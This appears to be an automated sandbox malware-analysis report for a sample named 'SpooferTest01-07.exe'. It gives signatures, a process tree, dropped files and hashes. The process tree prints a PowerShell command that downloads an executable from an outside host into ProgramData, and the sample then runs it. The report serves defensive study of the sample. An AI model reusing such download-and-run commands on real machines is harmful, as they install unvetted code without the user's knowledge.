Analysis

  • max time kernel
    149s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/07/2023, 03:45

General

  • Target
    SpooferTest01-07.exe
  • Size 89KB
  • Sample230701-ea7yrsge7w
  • SHA256 6390aac0948902fc8db0d3e5b3ce859d2311fa9dc0fac72ede1630ad5ec08209
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
upx

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://mirror-cdn.multitheftauto.com/mtasa/main/mtasa-1.6.exe

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 9 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 39 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of WriteProcessMemory 35 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SpooferTest01-07.exe
    "C:\Users\Admin\AppData\Local\Temp\SpooferTest01-07.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\7D33.tmp\7D34.tmp\7D35.bat C:\Users\Admin\AppData\Local\Temp\SpooferTest01-07.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\system32\PATHPING.EXE
        pathping localhost -q 2 -p 250
        3⤵
          PID:4520
        • C:\Windows\system32\PATHPING.EXE
          pathping localhost -q 2 -p 250
          3⤵
            PID:3932
          • C:\Windows\system32\PATHPING.EXE
            pathping localhost -q 2 -p 250
            3⤵
              PID:1248
            • C:\Windows\system32\PATHPING.EXE
              pathping localhost -q 2 -p 250
              3⤵
                PID:4508
              • C:\Windows\system32\PATHPING.EXE
                pathping localhost -q 2 -p 250
                3⤵
                  PID:3668
                • C:\Windows\system32\PATHPING.EXE
                  pathping localhost -q 2 -p 250
                  3⤵
                    PID:1796
                  • C:\Windows\system32\PATHPING.EXE
                    pathping localhost -q 2 -p 250
                    3⤵
                      PID:4316
                    • C:\Windows\system32\PATHPING.EXE
                      pathping localhost -q 2 -p 250
                      3⤵
                        PID:4896
                      • C:\Windows\system32\PATHPING.EXE
                        pathping localhost -q 2 -p 250
                        3⤵
                          PID:516
                        • C:\Windows\system32\PATHPING.EXE
                          pathping localhost -q 2 -p 250
                          3⤵
                            PID:2532
                          • C:\Windows\system32\PATHPING.EXE
                            pathping localhost -q 2 -p 250
                            3⤵
                              PID:4304
                            • C:\Windows\system32\PATHPING.EXE
                              pathping localhost -q 2 -p 250
                              3⤵
                                PID:4624
                              • C:\Windows\system32\PATHPING.EXE
                                pathping localhost -q 2 -p 250
                                3⤵
                                  PID:2380
                                • C:\Windows\system32\PATHPING.EXE
                                  pathping localhost -q 2 -p 250
                                  3⤵
                                    PID:1072
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://mirror-cdn.multitheftauto.com/mtasa/main/mtasa-1.6.exe', 'C:\ProgramData\Spoofed.exe')"
                                    3⤵
                                    • Blocklisted process makes network request
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3932
                                  • C:\ProgramData\Spoofed.exe
                                    "C:\ProgramData\Spoofed.exe"
                                    3⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    PID:2504
                              • C:\Windows\System32\rundll32.exe
                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                1⤵
                                  PID:2476
                                • C:\Windows\system32\taskmgr.exe
                                  "C:\Windows\system32\taskmgr.exe" /4
                                  1⤵
                                  • Checks SCSI registry key(s)
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of SendNotifyMessage
                                  PID:1220

                                Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      nsis.log

                                      • Path C:\ProgramData\MTA San Andreas All\Common\Installer\nsis.log
                                      • Size 403B
                                      • SHA256 5291d17c23de5f2e50abf756ccd5de220055f3e3c197c6e4e7ba7d5661caadcf
                                      • MD5 SHA1 SHA512

                                      Spoofed.exe

                                      • Path C:\ProgramData\Spoofed.exe
                                      • Size 99.8MB
                                      • SHA256 b81a29bbdc7c53c8b6b53b7f952ffe78ac9a6ed4663d5356d525739f7654fd0d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      Spoofed.exe

                                      • Path C:\ProgramData\Spoofed.exe
                                      • Size 99.8MB
                                      • SHA256 b81a29bbdc7c53c8b6b53b7f952ffe78ac9a6ed4663d5356d525739f7654fd0d
                                      • MD5 SHA1 SHA512 SSDEEP

                                      7D35.bat

                                      • Path C:\Users\Admin\AppData\Local\Temp\7D33.tmp\7D34.tmp\7D35.bat
                                      • Size 42KB
                                      • SHA256 8c70586ad4905755e71dc0adc4294f9b29bbb2376cf433b853da7d2fde858fb9
                                      • MD5 SHA1 SHA512 SSDEEP

                                      __PSScriptPolicyTest_4g10hzol.r10.ps1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4g10hzol.r10.ps1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512

                                      AccessControl.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\AccessControl.dll
                                      • Size 15KB
                                      • SHA256 5fd5d8aec97cffaad9b7df6371b348d436cf1401e86fab614dc4cb8575428e52
                                      • MD5 SHA1 SHA512 SSDEEP

                                      AccessControl.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\AccessControl.dll
                                      • Size 15KB
                                      • SHA256 5fd5d8aec97cffaad9b7df6371b348d436cf1401e86fab614dc4cb8575428e52
                                      • MD5 SHA1 SHA512 SSDEEP

                                      InstallOptions.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\InstallOptions.dll
                                      • Size 15KB
                                      • SHA256 c7fef6457989d97fecc0616a69947927da9d8c493f7905dc8475c748f044f3cf
                                      • MD5 SHA1 SHA512 SSDEEP

                                      InstallOptions.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\InstallOptions.dll
                                      • Size 15KB
                                      • SHA256 c7fef6457989d97fecc0616a69947927da9d8c493f7905dc8475c748f044f3cf
                                      • MD5 SHA1 SHA512 SSDEEP

                                      InstallOptions.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\InstallOptions.dll
                                      • Size 15KB
                                      • SHA256 c7fef6457989d97fecc0616a69947927da9d8c493f7905dc8475c748f044f3cf
                                      • MD5 SHA1 SHA512 SSDEEP

                                      LangDLL.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\LangDLL.dll
                                      • Size 5KB
                                      • SHA256 18e8b40ba22c7a1687bd16e8d585380bc2773fff5002d7d67e9485fcc0c51026
                                      • MD5 SHA1 SHA512 SSDEEP

                                      System.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\System.dll
                                      • Size 12KB
                                      • SHA256 8dc562cda7217a3a52db898243de3e2ed68b80e62ddcb8619545ed0b4e7f65a8
                                      • MD5 SHA1 SHA512 SSDEEP

                                      System.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\System.dll
                                      • Size 12KB
                                      • SHA256 8dc562cda7217a3a52db898243de3e2ed68b80e62ddcb8619545ed0b4e7f65a8
                                      • MD5 SHA1 SHA512 SSDEEP

                                      System.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\System.dll
                                      • Size 12KB
                                      • SHA256 8dc562cda7217a3a52db898243de3e2ed68b80e62ddcb8619545ed0b4e7f65a8
                                      • MD5 SHA1 SHA512 SSDEEP

                                      UAC.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\UAC.dll
                                      • Size 14KB
                                      • SHA256 2f7f8fc05dc4fd0d5cda501b47e4433357e887bbfed7292c028d99c73b52dc08
                                      • MD5 SHA1 SHA512 SSDEEP

                                      ioSpecial.ini

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\ioSpecial.ini
                                      • Size 1KB
                                      • SHA256 ab7bc6bb1439c7710b924bd93d7e38b3c5774df0206bedbe1b1ed392c052753e
                                      • MD5 SHA1 SHA512

                                      nsArray.dll

                                      • Path C:\Users\Admin\AppData\Local\Temp\nshF2D3.tmp\nsArray.dll
                                      • Size 12KB
                                      • SHA256 216d68d3f0b37bb2203b3a438a84a089e8c388608f46377ad7e7d6a2709cf9b0
                                      • MD5 SHA1 SHA512 SSDEEP

                                      memory/1220-294-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-292-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-297-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-296-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-295-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-293-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-285-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-291-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-287-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1220-286-0x000001F7B7FC0000-0x000001F7B7FC1000-memory.dmp

                                      memory/1536-136-0x0000000000400000-0x0000000000429000-memory.dmp

                                      memory/1536-133-0x0000000000400000-0x0000000000429000-memory.dmp

                                      memory/3932-149-0x000001B2291B0000-0x000001B2291C0000-memory.dmp

                                      memory/3932-142-0x000001B229180000-0x000001B2291A2000-memory.dmp

                                      memory/3932-147-0x000001B2291B0000-0x000001B2291C0000-memory.dmp

                                      memory/3932-148-0x000001B2291B0000-0x000001B2291C0000-memory.dmp